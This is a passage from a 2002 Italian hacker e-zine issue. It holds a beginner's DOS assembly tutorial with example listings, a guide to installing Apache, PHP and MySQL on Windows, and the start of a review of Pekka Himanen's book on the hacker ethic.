la coppia DS:DX contenga il puntatore a dove si trova il contenuto | | della stringa. La stringa deve essere terminata con il simbolo ($). | | Questo sarebbe semplice da ottenere se il registro DS potesse essere | | manipolato direttamente; bisogna invece utilizzare il registro AX nel | | modo seguente. | | | | L'esempio mostra la tecnica da utilizzare: | | | | | | mov dx,OFFSET Message | | mov ax,SEG Message | | mov ds,ax | | mov ah,9 | | int 21h | | | | | | Le direttive OFFSET e SEG servono per ottenere il segmento e l'offset | | dove si trova il messaggio, e non il suo contenuto. Ora che sappiamo | | come scrivere il codice per visualizzare il messaggio, non resta che | | dichiarare il messaggio. Nel segmento dati dichiariamo il messaggio | | nel modo seguente: | | | | | | Message DB "Hello World!$" | | | | | | Notate che la stringa e' terminata con il simbolo di dollaro. Cosa | | significa 'DB'? DB e' un codice mnemonico che sta per "declare byte" e | | il messaggio e' un array di byte (un carattere ASCII occupa un byte). | | I dati possono essere dichiarati di varie dimensioni: byte (DB), word | | (DW) e double (DD). | | | | Ecco alcuni esempi di dichiarazione di dati: | | | | | | Number1 db ? | | Number2 dw ? | | | | | | Il simbolo di punto di domanda alla fine significa che il dato non e' | | inizializzato, cioe' non ha un valore iniziale. Se si vuole | | specificare un valore di inizializzazione, e' sufficiente scrivere: | | | | | | Number1 db 0 | | Number2 dw 1 | | | | | | In questo caso Number1 assume valore 0 e Number2 e' uguale a 1, quando | | il programma e' mandato in esecuzione. | | | | Se si dichiara una variabile come word, non si puo' copiare il valore | | di questa variabile in un registro a 8-bit, e allo stesso modo non si | | puo' dichiarare una variabile come byte e copiarne il contenuto in un | | registro a 16-bit. Per esempio: | | | | | | mov al,Number1 ; ok | | mov ax,Number1 ; errore | | | | mov bx,Number2 ; ok | | mov bl,Number2 ; errore | | | | | | Tutto quello che e' necessario ricordarsi e' che si puo' soltanto | | copiare byte in registri a 8-bit e word in registri a 16-bit,non e' | | molto difficile da capire ci vuole solo un po di allenamento :) . | | | | | | -------------[ HELLO WORLD ]----------------------------------------- | | | | Ora che abbiamo analizzato le prime , fondamentali, istruzioni | | passiamo a scrivere un famoso "Hello Word" (un programmino). Il codice | | verra' commentato per rendervi tutto chiaro! | | | | Listing 1: 1STPROG.ASM | | ; Facile Proggy che visualizza "Hello World!" :) | | ; sullo schermo. | | | | .model small ;piccolo (e' bene dichiarare il model del codice vedremo | | in seguito) | | .stack | | .data | | | | Message db "Hello World!$" ; messaggio da visualizzare | | | | .code | | | | mov dx,OFFSET Message ; muove l'offset del messaggio in DX | | mov ax,SEG Message ; muove il segmento in AX | | mov ds,ax ; DS:DX | | | | mov ah,9 ; funzione 9 - visualizzare la stringa | | int 21h ; chiama dos! | | mov ax,4c00h ; ritorna a dos | | int 21h | | | | END start ;fine :) | | | | | | Queste sono le istruzioni per compilare e linkare un programma. (a86 o | | Tasm) | | | | -Turbo Assembler | | | | tasm file.asm | | tlink file [/t] | | | | L'opzione /t genera un eseguibile .COM, ed e' utilizzabile solo se il | | modello di memoria e' dichiarato (.small) nel file sorgente. | | | | -A86 | | | | a86 file.asm | | | | | | Questo comando compila il programma, generando un eseguibile .COM, | | indipendentemente dal modello di memoria dichiarato.Provate a passare | | il codice asm sul file C:\a86\a86.exe vi restituira il .com! | | | | -----------[ISTRUZIONI VARIE]---------------------------------------- | | | | Abbiamo visto come compilare scrivere usare alcune funzioni! | | Soffermiamoci ora su: | | | | mov dx,OFFSET MyMessage | | mov ax,SEG MyMessage | | mov ds,ax | | | | Perche' sprecare byte & tempo? | | con l'istruzione : 'mov dx,OFFSET MyMessage' (senza apici ovviamente) | | Si ruiducono quelle tre stringhe! Possiamo rimpiazzare tutto questo | | con una singola linea.Perche' funzioni, bisogna anche aggiungere | | queste istruzioni all'inizio del programma facilissima da ricordare!: | | | | mov ax,@data | | mov ds,ax | | | | Compilarlo con a86 risulta ancora piu' semplice! Infatti basta | | aggiungere 'mov ax,data' | | | | Questa tecnica si basa sul fatto che tutti i dati in un segmento hanno | | il medesimo SEG value. Impostando questo valore in DS, evita di | | doverlo ricaricare ogni volta che desideriamo indirizzare un altro | | dato nello stesso segmento. Molto carino! :P | | | | Utilizzeremo l'interrupt 16h, funzione 00h per leggere la tastiera. | | Questa chiamata legge un dato dal buffer della tastiera. Se nessun | | dato e' presente, aspetta fino a quando non e' disponibile. | | Restutuisce lo SCAN code in AH e la traduzione ASCII in AL. | | | | | | xor ah,ah ; funzione 00h - preleva carattere | | int 16h ; interrupt 16h | | | | | | Tutto quello di cui dobbiamo preoccuparci per ora e' il valore ASCII | | (American Standar Code for Information Interchange! =) che si trova in | | AL. Nota: XOR effettua un OR booleano esclusivo. E' comunemente | | utilizzato per azzerare un registro o una variabile!! Il problema e' | | che abbiamo il tasto premuto in AH. Come facciamo a visualizzarlo? Non | | possiamo usare la funzione 9h perché avremmo dovuto aver già definito | | una stringa terminandola con il simbolo di dollaro. Questo e' invece | | cio' che dobbiamo fare. | | | | ;dopo aver dichiarato la funzione 00h dell'interrupt 16h | | | | mov dl,al ; muove al (ascii code) in dl | | mov ah,02h ; funzione 02h dell'interrupt 21h | | int 21h ; chiama interrupt 21h | | | | Se desiderate salvare il valore di AH, e' necessario fare PUSH di AX | | prima della chiamata e recuperarlo in seguito con POP (come abbiamo | | visto precedentemente nello stack =) | | | | Ora esamineremo i famosi (salti) JMP , sono tanti, fodamentali :) Ad | | esempio: | | | | jmp label ; tutto quello che fa e' di saltare alla locazione | | specificata e continuare | | | | Ritornando al discorso precendente (Abbiamo letto un valore dalla | | tastiera ma ora vogliamo fare qualche operazione). Ad esempio | | stampiamo qualcosa se questo valore e' uguale ad una certa costante.. | | Bell'idea :) E' semplice. Utilizziamo comandi di salto condizionato. | | | | cmp ax,3 ; AX = 3 ? | | je correct ; yes ;) | | | | -CMP: compara un registro o una variabile con un valore | | | | Sintassi: CMP registro o variabile, valore | | jxx destination | | | | Un esempio d'uso e' il seguente: | | cmp al,'Y' ; compara il valore in al come Y | | je ItsYES ; se e' uguale salta a ItsYES | | | | | | E' facile,vero? Non capite? Quest'ultimo esempio ...uhm.. non fa altro | | che comparare , ma se noi mettiamo su' un istruzione che visualizzi la | | stringa "Sei stupido?" y/n se l'imput dell'utente e' Y (in AL) | | salta a ItsYES che puo' contenere nel nostro esempio "Wow!". | | | | Ecco una ricca tabella di SALTI :) | | | | | | JA Salta se il primo operando e' maggiore del secondo operando | | JAE Come sopra, ma salta anche se gli operandi hanno lo stesso | | valore | | JB Salta se il primo operando e' minore del secondo operando | | JBE Come sopra, ma salta anche se gli operandi hanno lo stesso valore | | JNA Salta se il primo operando non e' maggiore del secondo operando (J)| | JNAE Salta se il primo operando non e' maggiore del o uguale al | | secondo operando (JNB) | | JNB Salta se il primo operando non e' minore del secondo operando (JAE | | JNBE Salta se il primo operando non e' minore del o uguale al secondo | | operando (JA) | | JZ Salta se i due operandi sono uguali | | JE Come JZ | | JNZ Salta se i due operandi NON sono uguali | | JNE Come JNZ | | JC Salta se il flag di carry e' impostato | | | | | | | | Ogni istruzione richiede una certa quantita' di spazio nel segmento | | codice. Si ottiene un avviso dall'assemblatore se si cerca di saltare | | a locazioni lontane piu' di 127 byte in entrambe le direzioni. Si puo' | | risolvere il problema, modificando una sequenza come questa: | | | | cmp ax,10 ; AX e'10? | | je done ; si, finisci! | | | | in qualcosa come questa: | | | | cmp ax,10 ; AX e' 10? | | jne notdone ; se nn lo e' salta a notdone | | jmp done ; funge tipo (else) Se e' uguale vai... se non e' | | uguale (jne) non andare :) | | notdone: | | | | Ora vedremo un programma che dimostra input, output e controllo del | | flusso. | | | | | | Listing 2: PROGFLUSSO.ASM | | ; questo proggy dimostra il flusso input/output | | | | .model tiny | | .code | | org 100h | | start: | | | | mov dx,OFFSET Message ; visualizza un messaggio sullo schermo | | mov ah,9 ; usando la funzione 09h | | int 21h ; dell' intrrupt 21h | | | | jmp First_Time | | Prompt_Again: ; <--------------------------------------+ | | | | | mov dx,OFFSET Another ; visualizza un messaggio sullo schermo | | | mov ah,9 ; usando la funzione 09h | | | int 21h ; dell' intrrupt 21h | | | ; | | | First_Time: ; | | | ; | | | mov dx,OFFSET Again ; visualizza un messaggio sullo schermo | | | mov ah,9 ; usando la funzione 09h | | | int 21h ; dell' intrrupt 21h | | | xor ah,ah ; funzione 00h | | | ; | | | int 16h ; interrupt 16h prende i cratteri | | | mov bl,al ; salva in bl | | | mov dl,al ; muovi al in dl | | | mov ah,02h ; funzione 02h - visualizza carattere | | | int 21h ; chaima dos | | | ; | | | cmp bl,'Y' ; al = Y ? | | | je Prompt_Again ; Se si visualuizza Prompt_Again | | | cmp bl,'y' ; al = y ? | | | je Prompt_Again ; Se si visualuizza (Prompt_Again) ------+ | | | | theEnd: | | | | mov dx,OFFSET GoodBye ; scrivi messaggio goodbye | | mov ah,9 ; usando la funzione 9 | | int 21h ; del intrrupt 21h | | | | mov ah,4Ch ; finisci | | int 21h | | | | .DATA | | CR equ 13 ; enter | | LF equ 10 ; line-feed | | | | Message DB "Input/Output Program $" | | Prompt DB CR,LF,"Qui il tuo primo prompt.$" | | Again DB CR,LF,"Vuoi essere visualizzato ancora?$" | | Another DB CR,LF,"Un altro prompt!$" | | GoodBye DB CR,LF,"Ciao ci vediamo!" | | | | end start | | | | -----------[INTRODUZIONE ALLE PROCEDURE]----------------------------- | | | | Quello che segue e' un elenco di alcuni istruzioni Assembly | | fondamentali che e' molto importante conoscere e che sono utilizzate | | molto spesso. | | | | -ADD: Aggiunge il contenuto del secondo operando al valore del primo | | operando | | | | Sintassi: ADD operando1,operando2 | | | | Questo esempio aggiunge il valore di operando2 a quello di operando1. | | Il risultato e' memorizzato nell'operando1. Un tipo di dato immediato | | non puo' essere utilizzato come operando1, ma puo' essere utilizzato | | come operando2. | | | | -SUB: Sottrae il contenuto del secondo operando dal valore del primo | | operando | | | | Sintassi: SUB operand1,operand2 | | | | Questo esempio sottrae il valore di operando2 da quello di operando1. | | Il risultato e' memorizzato nell'operando1. Un tipo di dato immediato | | non puo' essere utilizzato come operando1, ma puo' essere utilizzato | | come operando2. :P | | | | -MUL: Moltiplica due interi senza segno (sempre positivi) | | -IMUL: Moltiplica due interi con segno (positivi o negativi) | | | | Sintassi: MUL registro o variabile - IMUL registro o variabile | | | | Questo esempio moltiplica AL o AX per il valore del registro o della | | variabile specificati. Se si specifica un operando della dimensione di | | un byte, AL viene moltiplicato per l'operando e il risultato e' posto | | nel registro AX. Se invece si specifica un operando della dimensione | | di una word, AX viene moltiplicato per l'operando e il risultato e' | | posto in DX:AX. Con i processori 386, 486 e Pentium puo' essere | | utilizzato anche il registro EAX e il risultato viene posto in EDX:EAX | | (vi ricordavate?? :) | | | | -DIV: Divide due interi senza segno (sempre positivi) | | -IDIV: Divide due interi con segno (positivi o negativi) | | | | Sintassi: DIV registro o variabile - IDIV registro o variabile | | | | | | L'istruzione di divisione funziona in modo simile alla | | moltiplicazione, dividendo il valore contenuto in AX per il registro o | | la variabile specificati. Il risultato e' memorizzato in due diverse | | locazioni. AL contiene il quoziente della divisione mentre il resto e' | | posto in AH. Se l'operando e' un registro a 16-bit, il numero alla | | locazione DX:AX viene diviso per l'operando e il quoziente e il resto | | sono posti rispettivamente in AX e DX. | | | | In Assembly una procedura e' l'equivalente di una funzione in C o in | | Pascal. Una procedura fornisce un modo semplice per incapsulare un | | calcolo complesso in modo che possa essere utilizzato senza | | preoccuparsi di come funziona internamente. Con procedure attentamente | | strutturate, e' possibile realizzare programmi di grosse dimensioni, | | nascondendo i dettagli implementativi e ottenendo codice piu' | | leggibile. | | | | Ecco come si definisce una procedura: | | | | PROC AProcedure | | . | | . ;codice.. | | . | | ret ; IMPORTANTISSIMO se non e' specificato qui!! il | | computer crashera' :PPP | | ENDP AProcedure | | | | Invocare una procedura e' altrettanto semplice: | | | | call AProcedure | | | | Il programma che segue e' un esempio di come usare una procedura. E' | | simile al primo programma visto, tutto quello che fa è stampare la | | frase "Hello World!" sullo schermo.: | | | | Listing 3: SIMPPROC.ASM | | | | ; Sempre il solito Hello World racchiuso in una procedura! | | | | .model tiny | | .code | | org 100h | | | | Start: | | | | call Display_Hi ; Chiama la procedura | | mov ax,4C00h ; ritorna a dos | | int 21h | | | | ;procedura inizio | | | | Display_Hi PROC | | | | mov dx,OFFSET HI | | mov ah,9 | | int 21h | | | | ret | | Display_Hi ENDP | | ;procedura fine! | | | | HI DB "Hello World!" ; definisce il messaggio | | | | end Start | | | | Le procedure non sarebbero così utili se non si potessero passare | | parametri per modificarli o utilizzarli all'interno della procedura. | | Vi sono tre diversi modi di passare un parametro: in un registro, in | | memoria e sullo stack. Di seguito ci sono tre esempi che svolgono | | tutti lo stesso compito. Stampano il carattere ASCII 254 in un punto | | specifico dello schermo: | | | | | | * Passare i parametri nei registri | | | | Il vantaggio di passare i parametri nei registri e' la semplicita'. | | Basta copiare i parametri nei registri prima di invocare la procedura | | :) | | | | | | Listing 4: PROC1.ASM | | | | ; Quresta procedura scrivera' un blocco sullo schermo! | | ; passando per i registri | | | | .model tiny | | .code | | org 100h | | | | Start: | | | | mov dh,4 ; rigo dove scrivere il carattere | | mov dl,5 ; colonna dove scrivere il carattere | | mov al,254 ; valore ascii | | mov bl,4 ; colore del carattere | | | | call PrintChar ; scrive il nostro carattere | | mov ax,4C00h ; termina | | int 21h | | | | PrintChar PROC NEAR | | | | push bx ; salva i registri | | push cx | | | | xor bh,bh ; pulisci bh - video page 0 (xor come abbiamo visto | | pulisce i registri) | | mov ah,2 ; funzione 2 - muove il cursore | | int 10h ; row and col are already in dx | | | | pop bx ; restituisci bx | | | | xor bh,bh ; display page - 0 | | mov ah,9 ; funzione 09h scrive carattere e attribbuto | | mov cx,1 ; visualizza esso una volta | | int 10h ; cchiama il bios | | | | pop cx ; restituisci registers | | | | ret ; ritorna dove esso e' stato chiamato | | PrintChar ENDP ; fine procedura :) | | | | end Start | | | | * Passare i parametri in memoria | | | | Il vantaggio di questo metodo e' l'estrema semplicita', ma ha lo | | svantaggio di rendere il programma piu' lento. Per passare i parametri | | attraverso la memoria, e' sufficiente copiare i parametri in variabili | | situate in memoria. ingombrante e lento | | | | | | Listing 5: PROC2.ASM | | | | ; Quresta procedura scrivera' un blocco sullo schermo! | | ; passando per la memoria | | | | | | .model tiny | | .code | | org 100h | | | | Start: | | | | mov Row,4 ; rigo | | mov Col,5 ; colonna | | mov Char,254 ; valore ascii | | mov Colour,4 ; colore | | | | call PrintChar ; scrive | | mov ax,4C00h ; termina | | int 21h ; in dos | | | | PrintChar PROC NEAR | | | | push ax cx bx ; salva i registri | | | | xor bh,bh ; cancella bh - video page 0 | | mov ah,2 ; funzione 2 - muove cursore | | mov dh,Row | | mov dl,Col | | int 10h ; chiama il bios | | | | mov al,Char | | mov bl,Colour | | xor bh,bh ; display page - 0 | | mov ah,9 ; funzione 09h scrive carattere con gli attribbuti | | mov cx,1 ; visualizza una volta | | int 10h ; chiama il bios | | | | pop bx cx ax ; restora i registri | | | | ret ; ritorna | | PrintChar ENDP | | | | ; qui ci sono le variabili da settare | | | | Row db ? | | Col db ? | | Colour db ? | | Char db ? | | | | end Start | | | | *Passare i parametri sullo stack | | | | Questo e' il modo piu' potente e flessibile di passare i parametri. Il | | problema e' che risulta piu' complicato. | | | | | | Listing 6: PROC3.ASM | | | | ; Quresta procedura scrivera' un blocco sullo schermo! | | ; passando per lo stack | | | | .model tiny | | .code | | org 100h | | | | Start: | | | | mov dh,4 ; rigo | | mov dl,5 ; colonna | | mov al,254 ; valore ascii | | mov bl,4 ; colore | | push dx ax bx ; mette i parametri nello stack!! | | | | call PrintString ; scrive | | | | pop bx ax dx ; restora i registri | | mov ax,4C00h ; termina | | int 21h ; in dos!! | | | | PrintString PROC NEAR | | | | push bp ; salva bp | | mov bp,sp ; mette sp in bp | | push cx ; salva i registri | | | | xor bh,bh ; cancella bh - video page 0 | | mov ah,2 ; function 2 - muove i cursori | | mov dx,[bp+8] ; restora dx | | int 10h ; chiama il bios | | | | mov ax,[bp+6] ; carattere | | mov bx,[bp+4] ; attribbuti | | xor bh,bh ; display page - 0 | | mov ah,9 ; funzione 09h scrive carattere & attrib. | | mov cx,1 ; una volta | | int 10h ; chiama il bios! | | | | pop cx ; restore registers | | pop bp | | | | ret ; ritorna | | PrintString ENDP | | | | end Start | | | | Per prelevare un parametro dallo stack, tutto quello che serve fare e' | | conoscere l'indirizzo dove si trova. L'ultimo parametro si trova | | all'indirizzo BP+2 e il precedente all'indirizzo BP+4 | | | | Questo disegnino e' piu' difficile ma dimostra lo Stack di una | | procedura con due parametri . | | | | | | | | | /\ | | | +----------+ | | | |-----+ SP+6 |Frist | |---------+ | | |StaCk| | Parameter| |AdDresSes| | | |GrOwS| +----------+ |GrOwS | | | |-----+ SP+4 |Second | |---------+ | | | | Parameter| | | | | +----------+ | | | | SP+2 |Return | | | | | | Address | | | | | +----------+ | | | \/ sb,bp | | | | | | E' molto importante dichiarare il modellodi memoria (.model): | | | | Sintassi: .MODEL MemoryModel | | | | Dove MemoryModel puo' essere SMALL, COMPACT, MEDIUM, LARGE, HUGE, TINY | | o FLAT. | | | | -Tiny- Significa che esiste un unico segmento per codice e dati. | | Questo tipo di programma puo' essere un eseguibile .COM. | | -Small- Significa che per default tutto il codice si trova in un unico | | segmento e tutti i dati dichiarati si trovano in un altro solo | | segmento. Questo implica che tutte le procedure e le variabili sono | | indirizzate come NEAR utilizzando solo gli offset. | | -Compact- Significa che per default tutto il codice si trova in un | | unico segmento ma i dati possono essere dichiarati in piu' segmenti | | diversi. Questo implica che i dati sono indirizzati utilizzando sia il | | segmento sia l'offset. Gli elementi di codice (procedure) sono NEAR e | | le variabili sono FAR. | | -Medium- E' l'opposto di compact. I dati sono NEAR e le procedure sono | | FAR. | | -Large- Questo significa che sia le procedure sia le variabili sono | | FAR. Bisogna indirizzarle entrambe utilizzando sia il segmento, sia | | l'offset. | | -Flat- Questo modello di memoria si usa quando il processore opera in | | modalita' protetta e la memoria non e' segmentata. E' utilizzabile | | solo con sistemi operativi a 32-bit, come Windows 9x e Windows NT. | | | | fINE vOLUME 1 | | | | e4m | | Tezkatlipoka@libero.it | | Www.bfc.too.it | | wWW.e4m.linuX-duDe.cOm | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L'APPRENDiSTA STREG0NE] #06 - 25/04/2002 | | iNSTALLAZi0NE Di APACHE, PHP, MYSQL PER WiN32 [DiRtYdoZeN] 0x1B/0x1D | +--------------------------------------------------------------------------+ | | | Installazione di Apache, Php, Mysql per Win32 | | | | --------------------------------------------------------------------- | | Data: 17/02/2002 | | Autore: DiRtYdoZeN | | ICQ#: 38828523 | | e-mail: dirtydozen@supereva.it | | Ora: 23.57 | | Luogo: v girone dell'inferno.. | | | | | | DISCLAIMER: Tutto quello che segue è frutto di una paranoia che mi | | perseguita da quando mi hanno ritrovato su un marciapiede alla tenera | | età di un giorno... c'è chi dice che sia provocata dai fumi tossici | | inalati mio malgrado in quei magnifici momenti di contatto con la vera | | vita di strada... c'è chi dice che i fumi siano stati ben altri... chi | | lo sa... misteri della psiche umana... comunque in tutto quello che | | segue non c'è nulla di vero... se provate a seguire quello che ho | | scritto di sotto vi riempirete di macchie, comincerete a ragliare, vi | | si seccherà il pisello e il gatto ve lo mangerà ..e comunque vedrete | | che nulla funzionerà | | mai.... | | (dovevo pur scrivere qualcosa no? del resto a che caxxo serve un | | disclaimer quì?) | | | | Comunque bando alle ciance.. andiamo a incominciare (minkia ke | | italiano!). | | | | | | D - Che differenza c'è fra Php e altri script language tipo javascript | | e vbscript? | | R - Sono due cose completamente diverse, da una parte ci sono gli | | script lato client quali per es javascript e vbscript che sono script | | eseguiti dal browser al caricamento di una pagina dall'altra ci sono i | | cosiddetti linguaggi lato server (PHP, ASP, PERL, ecc.. ) che al | | contrario sono eseguiti dal server e offrono un sacco di possibilità | | in più. | | | | D - Perché proprio Php? | | R - Ekkekkazzo .. perché è bello leggero facile da imparare.. e perché | | poi si sposa magnificamente con Apache e MySQL permettendo di creare | | pagine dinamiche con estrema semplicità.. ok? | | | | | | | | | | | | -1- Php4 | | | | Qualsiasi versione (io ho una 4.0.4pl1). Sul sito ufficiale di php | | (www.php.net) fra le versioni in formato binario per windows si trova | | sia il pacchetto di installazione (un eseguibile di circa 900 kb) che | | il package zippato completo (circa 5Mb). Personalmente penso sia | | meglio la seconda opzione poiché contiene già tutti i moduli | | aggiuntivi. Queste le ultime versioni rilasciate ad oggi (le trovate | | nell'area download del sito): | | | | PHP 4.1.1 zip package [4,953Kb] - 03 January 2002 (CGI binary plus | | server API versions for Apache, AOLserver, ISAPI and NSAPI. MySQL | | support built-in, many extensions included, packaged as zip) | | | | PHP 4.1.1 installer [909Kb] - 03 January 2002 | | (CGI only, MySQL support built-in, packaged as Windows installer to | | install and configure PHP, and automatically configure IIS, PWS and | | Xitami, with manual configuration for other servers. N.B. no external | | extensions included) | | | | Per i più masochisti c'è anke la possibilità di scaricare i sorgenti | | completi da compilare.... | | Vedete un po' voi cosa preferite, io mi riferirò comunque alla | | versione completa... | | | | -2- Apache | | | | Quì il discorso si complica appena appena.. l'ultima versione è la | | 2.0.32 ma è ancora una beta e personalmente ho avuto un po' di | | casini.. quindi ci riferiremo alla 1.3.23 che è la versione stabile | | ufficiale più recente. | | Va fatta un po di attenzione alla versione di windows che si sta | | usando, come si può vedere infatti sulla pagina di download c'è un | | readme per gli utenti di win 95 (you need an update) e di win XP (noto | | bug peraltro già patchato nella versione 1.3.24 di prossima uscita). | | Di apache si trovano addirittura 4 pacchetti scaricabili a seconda | | della versione, se si desidera il package autoinstallante, con files | | sorgenti ecc..: | | | | - apache_1.3.23-win32-x86-no_src.exe 24-Jan-2002 21:49 5.1M | | Current Release 1.3.23 | | - apache_1.3.23-win32-x86-no_src.msi 24-Jan-2002 21:50 2.0M | | MSI Installer Package | | - apache_1.3.23-win32-x86-src.msi 24-Jan-2002 21:53 3.2M | | MSI Installer Package | | - apache_2.0.32-beta-win32-x86-no_ssl.msi 16-Feb-2002 19:13 2.8M | | MSI Installer Package | | | | io consiglio il pacchetto autoinstallante (il file .msi per intenderci | | con o senza sorgenti fate voi..). | | ahh... dimenticavo il link diretto della pagina di download è: | | http://www.apache.org/dist/httpd/binaries/win32 | | | | -3- MySql | | | | Infine il miglior dbserver che esista (....) leggero, veloce ...ma | | soprattutto gratis ..insomma uno spettacolo.. | | Scarichiamolo da www.mysql.com l'ultima versione è la 3.23.47 sono | | circa 12 Mb... | | | | -4- Notepad (il miglior tool incluso in winzozz) | | | | Beh?!? Vi starete chiedendo: "ma a che caxxo serve il notepad per il | | nostro scopo?" ...beh abbiate fede ed imparerete ad apprezzarlo.... | | ..C'è da aggiungere qualcosa su notepad?... | | | | | | | | | | | | Credo proprio di no quindi cominciamo l'installazione vera e propria | | di tutto questo ben di dio che abbiamo scaricato... Da cosa | | cominciamo? non è importante l'ordine con cui si procede.. cominciamo | | da Apache che, se avete scaricato il pacchetto .msi, praticamente fa | | tutto da solo... dovete solo inserire pochi dati: il network domain, | | il nome del server, e l' email del webmaster... se non conoscete | | questi dati digitate 127.0.0.1 o localhost. Decidete poi se | | installarlo come servizio (cioè se farlo partire in automatico ad ogni | | avvio del pc oppure se volete farlo partire manualmente) scegliete il | | tipo di installazione (completa) e la directory e poi via.. Fatto? | | ..ok, ora per verificare se l'installazione è riuscita e se il server | | sta già lavorando connettiamoci dal browser all'indirizzo 127.0.0.1 | | (va bene anke localhost), vi dovrebbe apparire una pagina auto | | esplicativa... Tutto ok? Bene il primo passo è stato fatto... facile | | no? si ma il bello deve ancora venire... | | | | Passiamo ad installare MySql... | | anke quì tutto facile: unzippate il file e lanciate il setup. | | Installate in c:\mysql e una volta terminato il setup aprite una | | finestra di dos e andate nella directory c:\mysql\bin A questo punto | | al prompt digitate: | | | | mysqld-nt --install se siete sotto windows NT o Win2000 | | mysqld --install se invece lavorate in ambiente Win95 o Win98 | | | | Questo serve a installare il servizio di mysql. Ora dobbiamo solo | | avviare il servizio che abbiamo appena installato, digitate: | | | | net start mysql | | | | ok! il servizio mysql è avviato. Per verificare se effettivamente | | funziona al prompt digitate: | | | | mysql | | | | il prompt dovrebbe essere cambiato da c:\mysql\bin> a mysql> | | | | ora siete entrati in mysql, da quì potrete creare db, tabelle ecc.. | | tutto rigorosamente con comandi di linea SQL. Per chi non se la | | sentisse di lavorare con comandi di linea consiglio una utilissima | | applicazione: MySQL Front che non è altro che un interfaccia grafica | | per MySQL. Si trova tranquillamente su www.download.com | | | | Ok installiamo ora il PHP. Semplicemente dezippate il file in c:\PHP. | | Fatto? Ok ora parte la fase di configurazione vera e propria di php.. | | Seguite molto attentamente questi passi perché altrimenti poi sarà un | | casino capire cosa c'è che non va.. | | | | 1) Rinominate il file php.ini-dist in php.ini (si trova in c:\php\) e | | spostatelo in c:\winnt o c:\windows o c:\winnt40 a seconda che abbiate | | rispettivamente win2000, win98 o 95, oppure windows NT. Il php.ini è | | il file in cui sono contenute tutte le impostazioni di php. | | | | 2) Ora dobbiamo editarlo con un semplice editor di testi... indovinate | | un po'? ..ehh già proprio il nostro NotePad!!... Apriamo quindi | | c:\winnt\php.ini col suddetto notepad | | | | 3) Cerchiamo la riga: doc_root= qui inseriamo la cartella dove | | raccoglieremo gli script da eseguire | | In genere si ha doc_root= c:\Programmi\Apache Group\Apache\htdocs | | (può essere variata, l'importante è che sia la stessa dichiarata nel | | file di configurazione di apache alla voce DocumentRoot e alla voce | | Directory. Vedi seguito). | | | | 4) Cerchiamo la riga: extension_dir = ./ e completiamola inserendo il | | path della cartella che contiene le estensioni. | | la nuova riga sarà: extension_dir = c:\php\extension | | Ci sono parecchie estensioni attivabili semplicemente decommentando | | (cioè cancellando il carattere #) la relativa riga nel file php.ini ma | | che non sono indispensabili per il basilare funzionamento di php, non | | staro quì quindi a trattarle. | | | | 5) Salvate php.ini e tornate nella cartella c:\php Ora cercate un file | | di nome php4ts.dll e copiatelo in C:\Windows\System o C:\Winnt\System32 | | per chi utilizza Windows NT/2000. | | | | 6) Col Notepad create un file di tipo .php e chiamatelo info.php | | (attenzione a NON avere abilitata l'opzione "nascondi le estensioni | | dei files per i files conosciuti" nel menu Strumenti-->Opzioni | | Cartella tab Visualizzazione, altrimenti vi creerà un file di tipo | | info.php.txt) | | All'interno di questo file digitate queste tre righe: | | | | | | | | Salvatelo nella cartella scelta come doc_root | | Questo è il primo script di test che proveremo. Se tutto è stato | | configurato correttamente ci dovrebbe restitutire una schermata con | | tutte le impostazioni del nostro sistema. | | | | | | 7) Infine andiamo in c:\php\sapi e spostiamo il file php4apache.dll in | | c:\php | | | | La configurazione del modulo di PHP è terminata, non ci resta che | | configurare Apache: | | | | 1) dal menu start selezionate Programmi-->Apache HTTP | | Server-->Configure Apache Server-->Edit the Apache httpd configuration | | file si aprirà una finestra del notepad. | | | | 2) Aggiungiamo queste righe: | | | | LoadModule php4_module C:/Php/php4apache.dll | | (carica il modulo php per apache) | | AddType application/x-httpd-php .php | | (definisce le estensioni da passare al parser di php) | | AddType application/x-httpd-php .php3 " " | | AddType application/x-httpd-php .php4 " " | | AddType application/x-httpd-php .htm | | (aggiungete questa se includete script php in pagine htm) | | AddType application/x-httpd-php .html " " | | AddType application/x-httpd-php .phtml " " | | AddType application/x-httpd-php-source .phps | | | | 3) Controlliamo che la riga DocumentRoot contenga lo stesso path che | | avevamo inserito in php.ini alla voce doc_root di default è | | "C:/Programmi/Apache Group/Apache/htdocs" | | | | 4) Controlliamo che la riga Directory contenga lo stesso path di | | DocumentRoot | | | | 5) Salviamo il file e riavviamo il servizio (menu | | avvio->programmi->Apache HTTP Server->Controll Apache Server->Restart | | | | Ora Apriamo un NUOVA finestra del Browser e digitiamo: | | 127.0.0.1/info.php | | Se tutto è stato configurato correttamente vi dovrebbe apparire una | | schermata con tutte le impostazioni di php e del sistema. | | | | | | | | | | La prossima puntata vedremo qualche script in php e qualche comando.. | | e magari come interfacciarsi a database di mysql e access. | | | | Saluti a tutti d12 | | | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [SHUTD0WN] #06 - 25/04/2002| | "L'ETiCA HACKER" Di PEKKA HiMANEN [bubbo] 0x1C/0x1D | +--------------------------------------------------------------------------+ | Ho letto da poco il libro "L'etica hacker e lo spirito dell'età | | dell'informazione" di Pekka Himanen. | | Premetto che il libro è stata una vera sorpresa, mi aspettavo che fosse | | la solita merda fatta da scrittori NON-hacker che credono di sapere | | tutto sull'argomento. | | Quella proposta dal libro è invece un'attenta analisi dello stile di | | vita degli hacker contrapposto a quello della restante popolazione | | mondiale. | | Leggendo il libro si capisce che gli hacker in quanto tali vivono più | | felici delle altre persone, ed è ciò che vorrei dimostrare io nel mio | | articolo. | | | | Beh, come ovvio, è il caso di partire dalla prefazione, scritta | | addirittura da Linus Trovalds. Non c'è che dire, le poche pagine scritte | | da Linus sono un capolavoro. Personalmente mi ci sono ritrovato un | | casino nelle sue parole, ha espresso davvero ciò che contraddistingue | | gli hacker e ha sintetizzato il tutto nella "Legge di Linus". | | Questa legge dice che un uomo è spinto a fare qualcosa da 3 motivazioni | | (in ordine puramente casuale): sopravvivenza, vita sociale e | | intrattenimento. | | Un essere umano normale metterebbe al primo posto la sopravvivenza (si | | deve pur vivere), poi la vita sociale (coniuge, figli, lavoro, amici) e | | per ultimo l'intrattenimento. Ovviamente per intrattenimento non si | | intende la playstation ma le vere e proprie PASSIONI, quali potrebbero | | essere gli scacchi, cioè qualcosa di assai interessante e che serve a | | combattere la noia. Un'altro appunto che va fatto è che alcune persone | | sarebbero disposte a morire per la propria famiglia, in questo caso la | | vita sociale è più importante della sopravvivenza. Alle tre motivazioni | 